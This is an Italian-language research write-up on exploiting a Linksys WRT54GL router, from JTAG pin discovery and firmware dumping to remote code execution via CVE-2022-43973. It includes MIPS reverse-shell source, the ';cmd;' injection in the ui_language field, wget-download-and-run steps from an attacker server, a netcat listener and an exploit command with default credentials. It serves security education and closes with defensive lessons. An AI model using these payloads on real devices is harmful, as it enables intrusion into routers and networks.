Dalla Saldatura alla Shell: Sfruttamento Hardware Completo del Router Linksys WRT54GL (CVE-2022-43973)

Un percorso di ricerca sulla sicurezza embedded in 10 fasi — dalla scoperta dei pin JTAG all'esecuzione remota di codice su un router consumer basato su MIPS.

Avvertenza: Questa ricerca è stata condotta esclusivamente per scopi educativi e di ricerca su hardware di mia proprietà personale. Non è stato effettuato alcun accesso a sistemi non autorizzati. Tutte le tecniche descritte devono essere riprodotte solo su dispositivi di tua proprietà o per i quali possiedi un'autorizzazione esplicita e scritta. L'autore declina ogni responsabilità per qualsiasi uso improprio delle informazioni presentate. Rispetta sempre le leggi, le normative e le pratiche di divulgazione responsabile applicabili.

Indice

• Sommario Esecutivo
• Panoramica del Dispositivo Target
• Fase 1–2: Ricognizione Hardware e Scoperta dei Pin
• Fase 3–4: Debug JTAG ed Estrazione del Firmware
• Fase 5–6: Analisi del Firmware ed Emulazione
• Fase 7: Ricerca delle Vulnerabilità — CVE-2022-43973
• Fase 8: Sviluppo del Payload — Reverse Shell MIPS
• Fase 9: Consegna dell'Exploit e Shell Root
• Fase 10: Analisi di Rete e di Sessione
• Strumenti e Tecnologie
• Punti Chiave
• Riferimenti
• Documentazione Dettagliata
• Licenza

Sommario Esecutivo

• Target: Linksys WRT54GL v1.1 — un router consumer ampiamente diffuso basato sul chipset Broadcom BCM5352 (architettura MIPS a 32 bit)
• Vulnerabilità: CVE-2022-43973 — Esecuzione Remota di Codice tramite injection di comandi nell'interfaccia di gestione HTTP
• Ambito: Catena di sfruttamento completa dall'hardware al software in 10 fasi, dall'accesso fisico JTAG alla shell root remota
• Risultato: Shell root remota ottenuta tramite un payload personalizzato di reverse shell MIPS
• Strumenti: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, Docker con toolchain di cross-compilazione Broadcom MIPS

Panoramica del Dispositivo Target

Il Linksys WRT54GL è uno dei router consumer più iconici mai prodotti. Il suo supporto per firmware open-source lo ha reso un favorito tra appassionati e ricercatori. Nonostante la sua età, rimane in uso attivo in tutto il mondo, rendendolo un target rilevante per la ricerca sulla sicurezza embedded.

Fase 1–2: Ricognizione Hardware e Scoperta dei Pin

Il primo passo in qualsiasi valutazione della sicurezza hardware è l'ispezione fisica. Dopo aver aperto l'involucro del dispositivo, ho identificato due interfacce di debug sul PCB:

• Un header JTAG a 12 pin (non saldato) per il debug a livello hardware
• Una porta seriale (UART) a 10 pin operante a livelli TTL 3.3V

Poiché l'header JTAG non era saldato, ho saldato un header temporaneo per accedere all'interfaccia di debug. Utilizzando un multimetro, ho identificato le linee di ground e Vcc e ho confermato che il target opera a livelli logici di 3.3V — fondamentale per evitare di danneggiare il chipset.

Scoperta dei Pin JTAG con JTAGulator

Per mappare i segnali JTAG, ho utilizzato un JTAGulator di Grand Idea Studio — uno strumento hardware progettato per identificare automaticamente le interfacce di debug sondando tutte le combinazioni di pin possibili.

Il JTAGulator ha identificato con successo la seguente piedinatura JTAG:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — logica 3.3V verificata."

Fase 3–4: Debug JTAG ed Estrazione del Firmware

Con i pin JTAG identificati, ho collegato un Attify Badge — uno strumento open-source per la valutazione della sicurezza hardware (GNU GPL v3.0) dotato di un chip FTDI FT2232H — all'header JTAG del router.

Ho avviato OpenOCD (Open On-Chip Debugger) con una configurazione personalizzata per il target BCM5352, poiché le configurazioni ufficiali erano incompatibili con questa specifica revisione hardware.

Layout della Memoria Flash

La configurazione personalizzata di OpenOCD definisce la partizione flash del router:

Dump del Firmware

Dopo aver fermato la CPU, ho eseguito un dump completo di 4 MB della flash NOR memory-mapped:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Fase 5–6: Analisi del Firmware ed Emulazione

Analisi Statica con binwalk

Utilizzando binwalk, ho analizzato il dump del firmware per identificare filesystem embedded, segmenti compressi e l'immagine del kernel:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # analisi dell'entropia
sha256sum ./dumps/wrt54gl.bin     # verifica dell'integrità

L'analisi ha rivelato un filesystem SquashFS contenente un ambiente Linux standard basato su BusyBox. L'ho estratto usando binwalk -e e unsquashfs per un'ispezione più approfondita.

Emulazione del Firmware con FirmAE

Per creare un ambiente di test sicuro, ho configurato l'emulazione del firmware utilizzando FirmAE — un framework automatizzato di emulazione del firmware che supporta architetture MIPS. Questo mi ha permesso di riprodurre i servizi del router (HTTP, telnet) in un ambiente virtuale e testare gli exploit senza rischi per il dispositivo fisico.

Fase 7: Ricerca delle Vulnerabilità — CVE-2022-43973

Utilizzando Ghidra (il framework di reverse engineering della NSA) con il plugin decompilatore MIPS, ho eseguito un'analisi statica sui binari del firmware estratto per confermare la presenza della CVE-2022-43973.

Dettagli della Vulnerabilità

La vulnerabilità risiede nel gestore delle richieste CGI del router. Il campo del modulo ui_language nell'endpoint /apply.cgi accetta input arbitrario senza sanitizzazione. Iniettando comandi shell racchiusi nella sintassi ;cmd;, un attaccante può predisporre comandi che vengono successivamente eseguiti quando viene attivato un aggiornamento del firmware tramite /upgrade.cgi.

Versioni firmware affette:

• v4.30.18 (più recente) — richiede autenticazione basata su sessione
• v4.30.16 (più vecchia) — utilizza solo autenticazione HTTP di base

Fase 8: Sviluppo del Payload — Reverse Shell MIPS

Ho sviluppato una reverse shell personalizzata in C, costruita appositamente per l'architettura MIPS del router. Il payload stabilisce una connessione TCP di ritorno all'attaccante, reindirizza tutti i descrittori di file standard al socket e genera una shell interattiva:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // reindirizza stdin
dup2(sockt, 1);   // reindirizza stdout
dup2(sockt, 2);   // reindirizza stderr

execve("/bin/sh", sh_argv, NULL);

Cross-Compilazione con Docker

Per compilare il payload per l'architettura target, ho creato un ambiente Docker riproducibile contenente la toolchain di cross-compilazione Broadcom MIPS (hndtools-mipsel-linux-3.2.3), ottenuta dalla release GPL ufficiale di Linksys (WRT54GL-ETSI_v4.30.18.006):

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# All'interno del container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

Il binario risultante è collegato staticamente per la portabilità — nessuna dipendenza da librerie condivise sul target.

Fase 9: Consegna dell'Exploit e Shell Root

Ho sviluppato un framework di exploit in Python che automatizza l'intera catena di attacco sfruttando CVE-2022-43973. L'exploit esegue una sequenza in 4 fasi, ciascuna iniettata come comando tramite il parametro ui_language:

Sequenza di Attacco

1. Carica payload — Inietta un comando wget per scaricare il binario della reverse shell MIPS dal server HTTP dell'attaccante a /tmp/X sul router
2. Imposta permessi — Inietta chmod +x /tmp/X per rendere il binario eseguibile
3. Esegui payload — Inietta /tmp/X <attacker_ip> <port> per lanciare la reverse shell
4. Pulisci — Reimposta ui_language al suo valore predefinito (en)

Ogni comando è racchiuso come ;cmd; nel campo ui_language e inviato tramite POST /apply.cgi. Una successiva POST /upgrade.cgi ne attiva l'esecuzione.

Esecuzione

Sulla macchina dell'attaccante sono necessari tre terminali:

# Terminale 1: Servire il binario della reverse shell
python -m http.server 8000

# Terminale 2: Ascoltare la reverse shell in arrivo
nc -lvnp 4141

# Terminale 3: Lanciare l'exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

Risultato: Shell Root

La reverse shell si riconnette al listener Netcat dell'attaccante, fornendo una shell root interattiva sul router.

Fase 10: Analisi di Rete e di Sessione

Per validare l'intera catena di exploit, ho catturato il traffico di rete con Wireshark durante l'attacco. L'analisi ha confermato:

• Corretta sequenza di injection HTTP POST su /apply.cgi e /upgrade.cgi
• Download del payload riuscito tramite wget dal server HTTP dell'attaccante
• Connessione TCP della reverse shell stabilita sulla porta 4141
• Integrità del flusso di autenticazione e del cookie di sessione

Strumenti e Tecnologie

Punti Chiave

1. L'accesso fisico è un potente vettore di attacco. JTAG fornisce accesso hardware a livello root che bypassa tutti i meccanismi di sicurezza software. Le organizzazioni che distribuiscono dispositivi embedded dovrebbero considerare controlli di sicurezza fisica e disabilitare le interfacce di debug nel firmware di produzione.

2. L'estrazione del firmware è fondamentale. Il dump e l'analisi del firmware rivelano l'intero stack software — incluse credenziali hardcoded, dati di configurazione e percorsi di codice vulnerabili che sono invisibili da una prospettiva puramente di rete.

3. L'emulazione consente una ricerca sicura e ripetibile. Strumenti come FirmAE permettono ai ricercatori di riprodurre il comportamento del dispositivo in un ambiente virtuale, consentendo test iterativi senza rischiare hardware fisico o innescare conseguenze indesiderate.

4. Semplici fallimenti nella validazione dell'input hanno un impatto critico. CVE-2022-43973 dimostra come un singolo campo di modulo non sanitizzato in un'interfaccia web possa portare al completo compromesso del dispositivo con accesso a livello root. La difesa in profondità — validazione dell'input, privilegio minimo e pratiche di codifica sicura — rimane essenziale.

5. Le toolchain riproducibili sono importanti. Gli ambienti di cross-compilazione basati su Docker garantiscono che payload e strumenti possano essere ricostruiti in modo affidabile, rendendo i risultati della ricerca verificabili e condivisibili.

6. I dispositivi legacy rappresentano un rischio continuo. Il WRT54GL rimane in uso attivo a livello globale. I dispositivi a fine vita che non ricevono più aggiornamenti di sicurezza rappresentano una minaccia persistente per la sicurezza della rete.

Riferimenti

Vulnerabilità

• CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
• CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

Strumenti Hardware

• Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
• JTAGulator — Grand Idea Studio: https://github.com/grandideastudio/jtagulator
• Standard JTAG — IEEE 1149.1 (Standard Test Access Port and Boundary-Scan Architecture)

Strumenti Software

• OpenOCD — https://openocd.org/
• Ghidra — https://ghidra-sre.org/
• FirmAE — https://github.com/pr0v3rbs/FirmAE
• Firmadyne — https://github.com/firmadyne/firmadyne
• binwalk — https://github.com/ReFirmLabs/binwalk

Vendor

• Firmware Linksys WRT54GL — https://www.linksys.com/us/support-article?articleNum=148648
• Toolchain GPL Linksys — https://www.linksys.com/us/support-article?articleNum=114663

Documentazione Dettagliata

Per dettagli tecnici approfonditi, consultare i seguenti documenti:

Licenza

Questo progetto è concesso in licenza con la MIT License — vedi il file LICENSE per i dettagli.

Se si riproducono schemi di Attify o JTAGulator, seguire le rispettive licenze (GNU GPL v3.0 per componenti Attify).

Umberto Della Monica
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec